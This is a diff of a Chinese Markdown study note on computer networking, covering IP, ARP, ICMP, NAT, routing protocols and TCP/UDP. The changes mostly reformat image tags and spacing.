-使用 IP 协议，可以把异构的物理网络连接起来，使得在网络层看起来好像是一个统一的网络。
+使用 IP 协议，可以把异构的物理网络连接起来，使得在网络层看起来好像是一个统一的网络。
 
-<img src="index_files/e3b53605-0c10-4a7e-be02-a9064778f8a5.png" width="800"/>
+<div align="center"> <img src="pics/e3b53605-0c10-4a7e-be02-a9064778f8a5.png" width="800"/> </div><br>
 
-与 IP 协议配套使用的还有三个协议：
+与 IP 协议配套使用的还有三个协议：
 
-- 地址解析协议 ARP（Address Resolution Protocol）
-- 网际控制报文协议 ICMP（Internet Control Message Protocol）
-- 网际组管理协议 IGMP（Internet Group Management Protocol）
+- 地址解析协议 ARP（Address Resolution Protocol）
+- 网际控制报文协议 ICMP（Internet Control Message Protocol）
+- 网际组管理协议 IGMP（Internet Group Management Protocol）
 
-## IP 数据报格式
+## IP 数据报格式
 
-<img src="index_files/85c05fb1-5546-4c50-9221-21f231cdc8c5.jpg" width="700"/>
+<div align="center"> <img src="pics/85c05fb1-5546-4c50-9221-21f231cdc8c5.jpg" width="700"/> </div><br>
 
-- **版本** : 有 4（IPv4）和 6（IPv6）两个值；
+-  **版本**  : 有 4（IPv4）和 6（IPv6）两个值；
 
-- **首部长度** : 占 4 位，因此最大值为 15。值为 1 表示的是 1 个 32 位字的长度，也就是 4 字节。因为首部固定长度为 20 字节，因此该值最小为 5。如果可选字段的长度不是 4 字节的整数倍，就用尾部的填充部分来填充。
+-  **首部长度**  : 占 4 位，因此最大值为 15。值为 1 表示的是 1 个 32 位字的长度，也就是 4 字节。因为首部固定长度为 20 字节，因此该值最小为 5。如果可选字段的长度不是 4 字节的整数倍，就用尾部的填充部分来填充。
 
-- **区分服务** : 用来获得更好的服务，一般情况下不使用。
+-  **区分服务**  : 用来获得更好的服务，一般情况下不使用。
 
-- **总长度** : 包括首部长度和数据部分长度。
+-  **总长度**  : 包括首部长度和数据部分长度。
 
-- **生存时间** ：TTL，它的存在是为了防止无法交付的数据报在互联网中不断兜圈子。以路由器跳数为单位，当 TTL 为 0 时就丢弃数据报。
+-  **生存时间**  ：TTL，它的存在是为了防止无法交付的数据报在互联网中不断兜圈子。以路由器跳数为单位，当 TTL 为 0 时就丢弃数据报。
 
-- **协议**：指出携带的数据应该上交给哪个协议进行处理，例如 ICMP、TCP、UDP 等。
+-  **协议** ：指出携带的数据应该上交给哪个协议进行处理，例如 ICMP、TCP、UDP 等。
 
-- **首部检验和**：因为数据报每经过一个路由器，都要重新计算检验和，因此检验和不包含数据部分可以减少计算的工作量。
+-  **首部检验和** ：因为数据报每经过一个路由器，都要重新计算检验和，因此检验和不包含数据部分可以减少计算的工作量。
 
-- **标识** : 在数据报长度过长从而发生分片的情况下，相同数据报的不同分片具有相同的标识符。
+-  **标识**  : 在数据报长度过长从而发生分片的情况下，相同数据报的不同分片具有相同的标识符。
 
-- **片偏移** : 和标识符一起，用于发生分片的情况。片偏移的单位为 8 字节。
+-  **片偏移**  : 和标识符一起，用于发生分片的情况。片偏移的单位为 8 字节。
 
-<img src="index_files/23ba890e-e11c-45e2-a20c-64d217f83430.png" width="700"/>
+<div align="center"> <img src="pics/23ba890e-e11c-45e2-a20c-64d217f83430.png" width="700"/> </div><br>
 
-## IP 地址编址方式
+## IP 地址编址方式
 
-IP 地址的编址方式经历了三个历史阶段：
+IP 地址的编址方式经历了三个历史阶段：
 
-- 分类
-- 子网划分
-- 无分类
+- 分类
+- 子网划分
+- 无分类
 
-### 1. 分类
+### 1. 分类
 
 由两部分组成，网络号和主机号，其中不同分类具有不同的网络号长度，并且是固定的。
 
-IP 地址 ::= {< 网络号 >, < 主机号 >}
+IP 地址 ::= {< 网络号 >, < 主机号 >}
 
-<img src="index_files/cbf50eb8-22b4-4528-a2e7-d187143d57f7.png" width="500"/>
+<div align="center"> <img src="pics/cbf50eb8-22b4-4528-a2e7-d187143d57f7.png" width="500"/> </div><br>
 
-### 2. 子网划分
+### 2. 子网划分
 
-通过在主机号字段中拿一部分作为子网号，把两级 IP 地址划分为三级 IP 地址。
+通过在主机号字段中拿一部分作为子网号，把两级 IP 地址划分为三级 IP 地址。
 
-IP 地址 ::= {< 网络号 >, < 子网号 >, < 主机号 >}
+IP 地址 ::= {< 网络号 >, < 子网号 >, < 主机号 >}
 
-要使用子网，必须配置子网掩码。一个 B 类地址的默认子网掩码为 255.255.0.0，如果 B 类地址的子网占两个比特，那么子网掩码为 11111111 11111111 11000000 00000000，也就是 255.255.192.0。
+要使用子网，必须配置子网掩码。一个 B 类地址的默认子网掩码为 255.255.0.0，如果 B 类地址的子网占两个比特，那么子网掩码为 11111111 11111111 11000000 00000000，也就是 255.255.192.0。
 
 注意，外部网络看不到子网的存在。
 
-### 3. 无分类
+### 3. 无分类
 
-无分类编址 CIDR 消除了传统 A 类、B 类和 C 类地址以及划分子网的概念，使用网络前缀和主机号来对 IP 地址进行编码，网络前缀的长度可以根据需要变化。
+无分类编址 CIDR 消除了传统 A 类、B 类和 C 类地址以及划分子网的概念，使用网络前缀和主机号来对 IP 地址进行编码，网络前缀的长度可以根据需要变化。
 
-IP 地址 ::= {< 网络前缀号 >, < 主机号 >}
+IP 地址 ::= {< 网络前缀号 >, < 主机号 >}
 
-CIDR 的记法上采用在 IP 地址后面加上网络前缀长度的方法，例如 128.14.35.7/20 表示前 20 位为网络前缀。
+CIDR 的记法上采用在 IP 地址后面加上网络前缀长度的方法，例如 128.14.35.7/20 表示前 20 位为网络前缀。
 
-CIDR 的地址掩码可以继续称为子网掩码，子网掩码首 1 长度为网络前缀的长度。
+CIDR 的地址掩码可以继续称为子网掩码，子网掩码首 1 长度为网络前缀的长度。
 
-一个 CIDR 地址块中有很多地址，一个 CIDR 表示的网络就可以表示原来的很多个网络，并且在路由表中只需要一个路由就可以代替原来的多个路由，减少了路由表项的数量。把这种通过使用网络前缀来减少路由表项的方式称为路由聚合，也称为 **构成超网**。
+一个 CIDR 地址块中有很多地址，一个 CIDR 表示的网络就可以表示原来的很多个网络，并且在路由表中只需要一个路由就可以代替原来的多个路由，减少了路由表项的数量。把这种通过使用网络前缀来减少路由表项的方式称为路由聚合，也称为  **构成超网** 。
 
 在路由表中的项目由“网络前缀”和“下一跳地址”组成，在查找时可能会得到不止一个匹配结果，应当采用最长前缀匹配来确定应该匹配哪一个。
 
-## 地址解析协议 ARP
+## 地址解析协议 ARP
 
-网络层实现主机之间的通信，而链路层实现具体每段链路之间的通信。因此在通信过程中，IP 数据报的源地址和目的地址始终不变，而 MAC 地址随着链路的改变而改变。
+网络层实现主机之间的通信，而链路层实现具体每段链路之间的通信。因此在通信过程中，IP 数据报的源地址和目的地址始终不变，而 MAC 地址随着链路的改变而改变。
 
-<img src="index_files/66192382-558b-4b05-a35d-ac4a2b1a9811.jpg" width="700"/>
+<div align="center"> <img src="pics/66192382-558b-4b05-a35d-ac4a2b1a9811.jpg" width="700"/> </div><br>
 
-ARP 实现由 IP 地址得到 MAC 地址。
+ARP 实现由 IP 地址得到 MAC 地址。
 
-<img src="index_files/b9d79a5a-e7af-499b-b989-f10483e71b8b.jpg" width="500"/>
+<div align="center"> <img src="pics/b9d79a5a-e7af-499b-b989-f10483e71b8b.jpg" width="500"/> </div><br>
 
-每个主机都有一个 ARP 高速缓存，里面有本局域网上的各主机和路由器的 IP 地址到 MAC 地址的映射表。
+每个主机都有一个 ARP 高速缓存，里面有本局域网上的各主机和路由器的 IP 地址到 MAC 地址的映射表。
 
-如果主机 A 知道主机 B 的 IP 地址，但是 ARP 高速缓存中没有该 IP 地址到 MAC 地址的映射，此时主机 A 通过广播的方式发送 ARP 请求分组，主机 B 收到该请求后会发送 ARP 响应分组给主机 A 告知其 MAC 地址，随后主机 A 向其高速缓存中写入主机 B 的 IP 地址到 MAC 地址的映射。
+如果主机 A 知道主机 B 的 IP 地址，但是 ARP 高速缓存中没有该 IP 地址到 MAC 地址的映射，此时主机 A 通过广播的方式发送 ARP 请求分组，主机 B 收到该请求后会发送 ARP 响应分组给主机 A 告知其 MAC 地址，随后主机 A 向其高速缓存中写入主机 B 的 IP 地址到 MAC 地址的映射。
 
-<img src="index_files/8006a450-6c2f-498c-a928-c927f758b1d0.png" width="700"/>
+<div align="center"> <img src="pics/8006a450-6c2f-498c-a928-c927f758b1d0.png" width="700"/> </div><br>
 
-## 网际控制报文协议 ICMP
+## 网际控制报文协议 ICMP
 
-ICMP 是为了更有效地转发 IP 数据报和提高交付成功的机会。它封装在 IP 数据报中，但是不属于高层协议。
+ICMP 是为了更有效地转发 IP 数据报和提高交付成功的机会。它封装在 IP 数据报中，但是不属于高层协议。
 
-<img src="index_files/e3124763-f75e-46c3-ba82-341e6c98d862.jpg" width="500"/>
+<div align="center"> <img src="pics/e3124763-f75e-46c3-ba82-341e6c98d862.jpg" width="500"/> </div><br>
 
-ICMP 报文分为差错报告报文和询问报文。
+ICMP 报文分为差错报告报文和询问报文。
 
-<img src="index_files/aa29cc88-7256-4399-8c7f-3cf4a6489559.png" width="600"/>
+<div align="center"> <img src="pics/aa29cc88-7256-4399-8c7f-3cf4a6489559.png" width="600"/> </div><br>
 
-### 1. Ping
+### 1. Ping
 
-Ping 是 ICMP 的一个重要应用，主要用来测试两台主机之间的连通性。
+Ping 是 ICMP 的一个重要应用，主要用来测试两台主机之间的连通性。
 
-Ping 的原理是通过向目的主机发送 ICMP Echo 请求报文，目的主机收到之后会发送 Echo 回答报文。Ping 会根据时间和成功响应的次数估算出数据包往返时间以及丢包率。
+Ping 的原理是通过向目的主机发送 ICMP Echo 请求报文，目的主机收到之后会发送 Echo 回答报文。Ping 会根据时间和成功响应的次数估算出数据包往返时间以及丢包率。
 
-### 2. Traceroute
+### 2. Traceroute
 
-Traceroute 是 ICMP 的另一个应用，用来跟踪一个分组从源点到终点的路径。
+Traceroute 是 ICMP 的另一个应用，用来跟踪一个分组从源点到终点的路径。
 
-Traceroute 发送的 IP 数据报封装的是无法交付的 UDP 用户数据报，并由目的主机发送终点不可达差错报告报文。
+Traceroute 发送的 IP 数据报封装的是无法交付的 UDP 用户数据报，并由目的主机发送终点不可达差错报告报文。
 
-- 源主机向目的主机发送一连串的 IP 数据报。第一个数据报 P1 的生存时间 TTL 设置为 1，当 P1 到达路径上的第一个路由器 R1 时，R1 收下它并把 TTL 减 1，此时 TTL 等于 0，R1 就把 P1 丢弃，并向源主机发送一个 ICMP 时间超过差错报告报文；
-- 源主机接着发送第二个数据报 P2，并把 TTL 设置为 2。P2 先到达 R1，R1 收下后把 TTL 减 1 再转发给 R2，R2 收下后也把 TTL 减 1，由于此时 TTL 等于 0，R2 就丢弃 P2，并向源主机发送一个 ICMP 时间超过差错报文。
-- 不断执行这样的步骤，直到最后一个数据报刚刚到达目的主机，主机不转发数据报，也不把 TTL 值减 1。但是因为数据报封装的是无法交付的 UDP，因此目的主机要向源主机发送 ICMP 终点不可达差错报告报文。
-- 之后源主机知道了到达目的主机所经过的路由器 IP 地址以及到达每个路由器的往返时间。
+- 源主机向目的主机发送一连串的 IP 数据报。第一个数据报 P1 的生存时间 TTL 设置为 1，当 P1 到达路径上的第一个路由器 R1 时，R1 收下它并把 TTL 减 1，此时 TTL 等于 0，R1 就把 P1 丢弃，并向源主机发送一个 ICMP 时间超过差错报告报文；
+- 源主机接着发送第二个数据报 P2，并把 TTL 设置为 2。P2 先到达 R1，R1 收下后把 TTL 减 1 再转发给 R2，R2 收下后也把 TTL 减 1，由于此时 TTL 等于 0，R2 就丢弃 P2，并向源主机发送一个 ICMP 时间超过差错报文。
+- 不断执行这样的步骤，直到最后一个数据报刚刚到达目的主机，主机不转发数据报，也不把 TTL 值减 1。但是因为数据报封装的是无法交付的 UDP，因此目的主机要向源主机发送 ICMP 终点不可达差错报告报文。
+- 之后源主机知道了到达目的主机所经过的路由器 IP 地址以及到达每个路由器的往返时间。
 
-## 虚拟专用网 VPN
+## 虚拟专用网 VPN
 
-由于 IP 地址的紧缺，一个机构能申请到的 IP 地址数往往远小于本机构所拥有的主机数。并且一个机构并不需要把所有的主机接入到外部的互联网中，机构内的计算机可以使用仅在本机构有效的 IP 地址（专用地址）。
+由于 IP 地址的紧缺，一个机构能申请到的 IP 地址数往往远小于本机构所拥有的主机数。并且一个机构并不需要把所有的主机接入到外部的互联网中，机构内的计算机可以使用仅在本机构有效的 IP 地址（专用地址）。
 
 有三个专用地址块：
 
-- 10.0.0.0 ~ 10.255.255.255
-- 172.16.0.0 ~ 172.31.255.255
-- 192.168.0.0 ~ 192.168.255.255
+- 10.0.0.0 \~ 10.255.255.255
+- 172.16.0.0 \~ 172.31.255.255
+- 192.168.0.0 \~ 192.168.255.255
 
-VPN 使用公用的互联网作为本机构各专用网之间的通信载体。专用指机构内的主机只与本机构内的其它主机通信；虚拟指好像是，而实际上并不是，它有经过公用的互联网。
+VPN 使用公用的互联网作为本机构各专用网之间的通信载体。专用指机构内的主机只与本机构内的其它主机通信；虚拟指好像是，而实际上并不是，它有经过公用的互联网。
 
-下图中，场所 A 和 B 的通信经过互联网，如果场所 A 的主机 X 要和另一个场所 B 的主机 Y 通信，IP 数据报的源地址是 10.1.0.1，目的地址是 10.2.0.3。数据报先发送到与互联网相连的路由器 R1，R1 对内部数据进行加密，然后重新加上数据报的首部，源地址是路由器 R1 的全球地址 125.1.2.3，目的地址是路由器 R2 的全球地址 194.4.5.6。路由器 R2 收到数据报后将数据部分进行解密，恢复原来的数据报，此时目的地址为 10.2.0.3，就交付给 Y。
+下图中，场所 A 和 B 的通信经过互联网，如果场所 A 的主机 X 要和另一个场所 B 的主机 Y 通信，IP 数据报的源地址是 10.1.0.1，目的地址是 10.2.0.3。数据报先发送到与互联网相连的路由器 R1，R1 对内部数据进行加密，然后重新加上数据报的首部，源地址是路由器 R1 的全球地址 125.1.2.3，目的地址是路由器 R2 的全球地址 194.4.5.6。路由器 R2 收到数据报后将数据部分进行解密，恢复原来的数据报，此时目的地址为 10.2.0.3，就交付给 Y。
 
-<img src="index_files/1556770b-8c01-4681-af10-46f1df69202c.jpg" width="800"/>
+<div align="center"> <img src="pics/1556770b-8c01-4681-af10-46f1df69202c.jpg" width="800"/> </div><br>
 
-## 网络地址转换 NAT
+## 网络地址转换 NAT
 
-专用网内部的主机使用本地 IP 地址又想和互联网上的主机通信时，可以使用 NAT 来将本地 IP 转换为全球 IP。
+专用网内部的主机使用本地 IP 地址又想和互联网上的主机通信时，可以使用 NAT 来将本地 IP 转换为全球 IP。
 
-在以前，NAT 将本地 IP 和全球 IP 一一对应，这种方式下拥有 n 个全球 IP 地址的专用网内最多只可以同时有 n 台主机接入互联网。为了更有效地利用全球 IP 地址，现在常用的 NAT 转换表把传输层的端口号也用上了，使得多个专用网内部的主机共用一个全球 IP 地址。使用端口号的 NAT 也叫做网络地址与端口转换 NAPT。
+在以前，NAT 将本地 IP 和全球 IP 一一对应，这种方式下拥有 n 个全球 IP 地址的专用网内最多只可以同时有 n 台主机接入互联网。为了更有效地利用全球 IP 地址，现在常用的 NAT 转换表把传输层的端口号也用上了，使得多个专用网内部的主机共用一个全球 IP 地址。使用端口号的 NAT 也叫做网络地址与端口转换 NAPT。
 
-<img src="index_files/2719067e-b299-4639-9065-bed6729dbf0b.png" width=""/>
+<div align="center"> <img src="pics/2719067e-b299-4639-9065-bed6729dbf0b.png" width=""/> </div><br>
 
-## 路由器的结构
+## 路由器的结构
 
 路由器从功能上可以划分为：路由选择和分组转发。
 
 分组转发结构由三个部分组成：交换结构、一组输入端口和一组输出端口。
 
-<img src="index_files/c3369072-c740-43b0-b276-202bd1d3960d.jpg" width="600"/>
+<div align="center"> <img src="pics/c3369072-c740-43b0-b276-202bd1d3960d.jpg" width="600"/> </div><br>
 
-## 路由器分组转发流程
+## 路由器分组转发流程
 
-- 从数据报的首部提取目的主机的 IP 地址 D，得到目的网络地址 N。
-- 若 N 就是与此路由器直接相连的某个网络地址，则进行直接交付；
-- 若路由表中有目的地址为 D 的特定主机路由，则把数据报传送给表中所指明的下一跳路由器；
-- 若路由表中有到达网络 N 的路由，则把数据报传送给路由表中所指明的下一跳路由器；
-- 若路由表中有一个默认路由，则把数据报传送给路由表中所指明的默认路由器；
-- 报告转发分组出错。
+- 从数据报的首部提取目的主机的 IP 地址 D，得到目的网络地址 N。
+- 若 N 就是与此路由器直接相连的某个网络地址，则进行直接交付；
+- 若路由表中有目的地址为 D 的特定主机路由，则把数据报传送给表中所指明的下一跳路由器；
+- 若路由表中有到达网络 N 的路由，则把数据报传送给路由表中所指明的下一跳路由器；
+- 若路由表中有一个默认路由，则把数据报传送给路由表中所指明的默认路由器；
+- 报告转发分组出错。
 
-<img src="index_files/1ab49e39-012b-4383-8284-26570987e3c4.jpg" width="800"/>
+<div align="center"> <img src="pics/1ab49e39-012b-4383-8284-26570987e3c4.jpg" width="800"/> </div><br>
 
-## 路由选择协议
+## 路由选择协议
 
 路由选择协议都是自适应的，能随着网络通信量和拓扑结构的变化而自适应地进行调整。
 
-互联网可以划分为许多较小的自治系统 AS，一个 AS 可以使用一种和别的 AS 不同的路由选择协议。
+互联网可以划分为许多较小的自治系统 AS，一个 AS 可以使用一种和别的 AS 不同的路由选择协议。
 
 可以把路由选择协议划分为两大类：
 
-- 自治系统内部的路由选择：RIP 和 OSPF
-- 自治系统间的路由选择：BGP
+- 自治系统内部的路由选择：RIP 和 OSPF
+- 自治系统间的路由选择：BGP
 
-### 1. 内部网关协议 RIP
+### 1. 内部网关协议 RIP
 
-RIP 是一种基于距离向量的路由选择协议。距离是指跳数，直接相连的路由器跳数为 1。跳数最多为 15，超过 15 表示不可达。
+RIP 是一种基于距离向量的路由选择协议。距离是指跳数，直接相连的路由器跳数为 1。跳数最多为 15，超过 15 表示不可达。
 
-RIP 按固定的时间间隔仅和相邻路由器交换自己的路由表，经过若干次交换之后，所有路由器最终会知道到达本自治系统中任何一个网络的最短距离和下一跳路由器地址。
+RIP 按固定的时间间隔仅和相邻路由器交换自己的路由表，经过若干次交换之后，所有路由器最终会知道到达本自治系统中任何一个网络的最短距离和下一跳路由器地址。
 
 距离向量算法：
 
-- 对地址为 X 的相邻路由器发来的 RIP 报文，先修改报文中的所有项目，把下一跳字段中的地址改为 X，并把所有的距离字段加 1；
-- 对修改后的 RIP 报文中的每一个项目，进行以下步骤：
- - 若原来的路由表中没有目的网络 N，则把该项目添加到路由表中；
- - 否则：若下一跳路由器地址是 X，则把收到的项目替换原来路由表中的项目；否则：若收到的项目中的距离 d 小于路由表中的距离，则进行更新（例如原始路由表项为 Net2, 5, P，新表项为 Net2, 4, X，则更新）；否则什么也不做。
-- 若 3 分钟还没有收到相邻路由器的更新路由表，则把该相邻路由器标为不可达，即把距离置为 16。
+- 对地址为 X 的相邻路由器发来的 RIP 报文，先修改报文中的所有项目，把下一跳字段中的地址改为 X，并把所有的距离字段加 1；
+- 对修改后的 RIP 报文中的每一个项目，进行以下步骤：
+ - 若原来的路由表中没有目的网络 N，则把该项目添加到路由表中；
+ - 否则：若下一跳路由器地址是 X，则把收到的项目替换原来路由表中的项目；否则：若收到的项目中的距离 d 小于路由表中的距离，则进行更新（例如原始路由表项为 Net2, 5, P，新表项为 Net2, 4, X，则更新）；否则什么也不做。
+- 若 3 分钟还没有收到相邻路由器的更新路由表，则把该相邻路由器标为不可达，即把距离置为 16。
 
-RIP 协议实现简单，开销小。但是 RIP 能使用的最大距离为 15，限制了网络的规模。并且当网络出现故障时，要经过比较长的时间才能将此消息传送到所有路由器。
+RIP 协议实现简单，开销小。但是 RIP 能使用的最大距离为 15，限制了网络的规模。并且当网络出现故障时，要经过比较长的时间才能将此消息传送到所有路由器。
 
-### 2. 内部网关协议 OSPF
+### 2. 内部网关协议 OSPF
 
-开放最短路径优先 OSPF，是为了克服 RIP 的缺点而开发出来的。
+开放最短路径优先 OSPF，是为了克服 RIP 的缺点而开发出来的。
 
-开放表示 OSPF 不受某一家厂商控制，而是公开发表的；最短路径优先表示使用了 Dijkstra 提出的最短路径算法 SPF。
+开放表示 OSPF 不受某一家厂商控制，而是公开发表的；最短路径优先表示使用了 Dijkstra 提出的最短路径算法 SPF。
 
-OSPF 具有以下特点：
+OSPF 具有以下特点：
 
-- 向本自治系统中的所有路由器发送信息，这种方法是洪泛法。
-- 发送的信息就是与相邻路由器的链路状态，链路状态包括与哪些路由器相连以及链路的度量，度量用费用、距离、时延、带宽等来表示。
-- 只有当链路状态发生变化时，路由器才会发送信息。
+- 向本自治系统中的所有路由器发送信息，这种方法是洪泛法。
+- 发送的信息就是与相邻路由器的链路状态，链路状态包括与哪些路由器相连以及链路的度量，度量用费用、距离、时延、带宽等来表示。
+- 只有当链路状态发生变化时，路由器才会发送信息。
 
-所有路由器都具有全网的拓扑结构图，并且是一致的。相比于 RIP，OSPF 的更新过程收敛的很快。
+所有路由器都具有全网的拓扑结构图，并且是一致的。相比于 RIP，OSPF 的更新过程收敛的很快。
 
-### 3. 外部网关协议 BGP
+### 3. 外部网关协议 BGP
 
-BGP（Border Gateway Protocol，边界网关协议）
+BGP（Border Gateway Protocol，边界网关协议）
 
-AS 之间的路由选择很困难，主要是由于：
+AS 之间的路由选择很困难，主要是由于：
 
-- 互联网规模很大；
-- 各个 AS 内部使用不同的路由选择协议，无法准确定义路径的度量；
-- AS 之间的路由选择必须考虑有关的策略，比如有些 AS 不愿意让其它 AS 经过。
+- 互联网规模很大；
+- 各个 AS 内部使用不同的路由选择协议，无法准确定义路径的度量；
+- AS 之间的路由选择必须考虑有关的策略，比如有些 AS 不愿意让其它 AS 经过。
 
-BGP 只能寻找一条比较好的路由，而不是最佳路由。
+BGP 只能寻找一条比较好的路由，而不是最佳路由。
 
-每个 AS 都必须配置 BGP 发言人，通过在两个相邻 BGP 发言人之间建立 TCP 连接来交换路由信息。
+每个 AS 都必须配置 BGP 发言人，通过在两个相邻 BGP 发言人之间建立 TCP 连接来交换路由信息。
 
-<img src="index_files/9cd0ae20-4fb5-4017-a000-f7d3a0eb3529.png" width="600"/>
+<div align="center"> <img src="pics/9cd0ae20-4fb5-4017-a000-f7d3a0eb3529.png" width="600"/> </div><br>
 
-# 五、传输层
+# 五、传输层
 
 网络层只把分组发送到目的主机，但是真正通信的并不是主机而是主机中的进程。传输层提供了进程间的逻辑通信，传输层向高层用户屏蔽了下面网络层的核心细节，使应用程序看起来像是在两个传输层实体之间有一条端到端的逻辑通信信道。
 
-## UDP 和 TCP 的特点
+## UDP 和 TCP 的特点
 
-- 用户数据报协议 UDP（User Datagram Protocol）是无连接的，尽最大可能交付，没有拥塞控制，面向报文（对于应用程序传下来的报文不合并也不拆分，只是添加 UDP 首部），支持一对一、一对多、多对一和多对多的交互通信。
+- 用户数据报协议 UDP（User Datagram Protocol）是无连接的，尽最大可能交付，没有拥塞控制，面向报文（对于应用程序传下来的报文不合并也不拆分，只是添加 UDP 首部），支持一对一、一对多、多对一和多对多的交互通信。
 
-- 传输控制协议 TCP（Transmission Control Protocol）是面向连接的，提供可靠交付，有流量控制，拥塞控制，提供全双工通信，面向字节流（把应用层传下来的报文看成字节流，把字节流组织成大小不等的数据块），每一条 TCP 连接只能是点对点的（一对一）。
+- 传输控制协议 TCP（Transmission Control Protocol）是面向连接的，提供可靠交付，有流量控制，拥塞控制，提供全双工通信，面向字节流（把应用层传下来的报文看成字节流，把字节流组织成大小不等的数据块），每一条 TCP 连接只能是点对点的（一对一）。
 
-## UDP 首部格式
+## UDP 首部格式
 
-<img src="index_files/d4c3a4a1-0846-46ec-9cc3-eaddfca71254.jpg" width="600"/>
+<div align="center"> <img src="pics/d4c3a4a1-0846-46ec-9cc3-eaddfca71254.jpg" width="600"/> </div><br>
 
-首部字段只有 8 个字节，包括源端口、目的端口、长度、检验和。12 字节的伪首部是为了计算检验和临时添加的。
+首部字段只有 8 个字节，包括源端口、目的端口、长度、检验和。12 字节的伪首部是为了计算检验和临时添加的。
 
-## TCP 首部格式
+## TCP 首部格式
 
-<img src="index_files/55dc4e84-573d-4c13-a765-52ed1dd251f9.png" width="700"/>
+<div align="center"> <img src="pics/55dc4e84-573d-4c13-a765-52ed1dd251f9.png" width="700"/> </div><br>
 
-- **序号** ：用于对字节流进行编号，例如序号为 301，表示第一个字节的编号为 301，如果携带的数据长度为 100 字节，那么下一个报文段的序号应为 401。
+-  **序号**  ：用于对字节流进行编号，例如序号为 301，表示第一个字节的编号为 301，如果携带的数据长度为 100 字节，那么下一个报文段的序号应为 401。
 
-- **确认号** ：期望收到的下一个报文段的序号。例如 B 正确收到 A 发送来的一个报文段，序号为 501，携带的数据长度为 200 字节，因此 B 期望下一个报文段的序号为 701，B 发送给 A 的确认报文段中确认号就为 701。
+-  **确认号**  ：期望收到的下一个报文段的序号。例如 B 正确收到 A 发送来的一个报文段，序号为 501，携带的数据长度为 200 字节，因此 B 期望下一个报文段的序号为 701，B 发送给 A 的确认报文段中确认号就为 701。
 
-- **数据偏移** ：指的是数据部分距离报文段起始处的偏移量，实际上指的是首部的长度。
+-  **数据偏移**  ：指的是数据部分距离报文段起始处的偏移量，实际上指的是首部的长度。
 
-- **确认 ACK** ：当 ACK=1 时确认号字段有效，否则无效。TCP 规定，在连接建立后所有传送的报文段都必须把 ACK 置 1。
+-  **确认 ACK**  ：当 ACK=1 时确认号字段有效，否则无效。TCP 规定，在连接建立后所有传送的报文段都必须把 ACK 置 1。
 
-- **同步 SYN** ：在连接建立时用来同步序号。当 SYN=1，ACK=0 时表示这是一个连接请求报文段。若对方同意建立连接，则响应报文中 SYN=1，ACK=1。
+-  **同步 SYN**  ：在连接建立时用来同步序号。当 SYN=1，ACK=0 时表示这是一个连接请求报文段。若对方同意建立连接，则响应报文中 SYN=1，ACK=1。
 
-- **终止 FIN** ：用来释放一个连接，当 FIN=1 时，表示此报文段的发送方的数据已发送完毕，并要求释放连接。
+-  **终止 FIN**  ：用来释放一个连接，当 FIN=1 时，表示此报文段的发送方的数据已发送完毕，并要求释放连接。
 
-- **窗口** ：窗口值作为接收方让发送方设置其发送窗口的依据。之所以要有这个限制，是因为接收方的数据缓存空间是有限的。
+-  **窗口**  ：窗口值作为接收方让发送方设置其发送窗口的依据。之所以要有这个限制，是因为接收方的数据缓存空间是有限的。
 
-## TCP 的三次握手
+## TCP 的三次握手
 
-<img src="index_files/e92d0ebc-7d46-413b-aec1-34a39602f787.png" width="600"/>
+<div align="center"> <img src="pics/e92d0ebc-7d46-413b-aec1-34a39602f787.png" width="600"/> </div><br>
 
-假设 A 为客户端，B 为服务器端。
+假设 A 为客户端，B 为服务器端。
 
-- 首先 B 处于 LISTEN（监听）状态，等待客户的连接请求。
+- 首先 B 处于 LISTEN（监听）状态，等待客户的连接请求。
 
-- A 向 B 发送连接请求报文，SYN=1，ACK=0，选择一个初始的序号 x。
+- A 向 B 发送连接请求报文，SYN=1，ACK=0，选择一个初始的序号 x。
 
-- B 收到连接请求报文，如果同意建立连接，则向 A 发送连接确认报文，SYN=1，ACK=1，确认号为 x+1，同时也选择一个初始的序号 y。
+- B 收到连接请求报文，如果同意建立连接，则向 A 发送连接确认报文，SYN=1，ACK=1，确认号为 x+1，同时也选择一个初始的序号 y。
 
-- A 收到 B 的连接确认报文后，还要向 B 发出确认，确认号为 y+1，序号为 x+1。
+- A 收到 B 的连接确认报文后，还要向 B 发出确认，确认号为 y+1，序号为 x+1。
 
-- B 收到 A 的确认后，连接建立。
+- B 收到 A 的确认后，连接建立。
 
-**三次握手的原因**
+**三次握手的原因** 
 
 第三次握手是为了防止失效的连接请求到达服务器，让服务器错误打开连接。
 
 客户端发送的连接请求如果在网络中滞留，那么就会隔很长一段时间才能收到服务器端发回的连接确认。客户端等待一个超时重传时间之后，就会重新请求连接。但是这个滞留的连接请求最后还是会到达服务器，如果不进行三次握手，那么服务器就会打开两个连接。如果有第三次握手，客户端会忽略服务器之后发送的对滞留连接请求的连接确认，不进行第三次握手，因此就不会再次打开连接。
 
-## TCP 的四次挥手
+## TCP 的四次挥手
 
-<img src="index_files/f87afe72-c2df-4c12-ac03-9b8d581a8af8.jpg" width="600"/>
+<div align="center"> <img src="pics/f87afe72-c2df-4c12-ac03-9b8d581a8af8.jpg" width="600"/> </div><br>
 
-以下描述不讨论序号和确认号，因为序号和确认号的规则比较简单。并且不讨论 ACK，因为 ACK 在连接建立之后都为 1。
+以下描述不讨论序号和确认号，因为序号和确认号的规则比较简单。并且不讨论 ACK，因为 ACK 在连接建立之后都为 1。
 
-- A 发送连接释放报文，FIN=1。
+- A 发送连接释放报文，FIN=1。
 
-- B 收到之后发出确认，此时 TCP 属于半关闭状态，B 能向 A 发送数据但是 A 不能向 B 发送数据。
+- B 收到之后发出确认，此时 TCP 属于半关闭状态，B 能向 A 发送数据但是 A 不能向 B 发送数据。
 
-- 当 B 不再需要连接时，发送连接释放报文，FIN=1。
+- 当 B 不再需要连接时，发送连接释放报文，FIN=1。
 
-- A 收到后发出确认，进入 TIME-WAIT 状态，等待 2 MSL（最大报文存活时间）后释放连接。
+- A 收到后发出确认，进入 TIME-WAIT 状态，等待 2 MSL（最大报文存活时间）后释放连接。
 
-- B 收到 A 的确认后释放连接。
+- B 收到 A 的确认后释放连接。
 
-**四次挥手的原因**
+**四次挥手的原因** 
 
-客户端发送了 FIN 连接释放报文之后，服务器收到了这个报文，就进入了 CLOSE-WAIT 状态。这个状态是为了让服务器端发送还未传送完毕的数据，传送完毕之后，服务器会发送 FIN 连接释放报文。
+客户端发送了 FIN 连接释放报文之后，服务器收到了这个报文，就进入了 CLOSE-WAIT 状态。这个状态是为了让服务器端发送还未传送完毕的数据，传送完毕之后，服务器会发送 FIN 连接释放报文。
 
-**TIME_WAIT**
+**TIME_WAIT** 
 
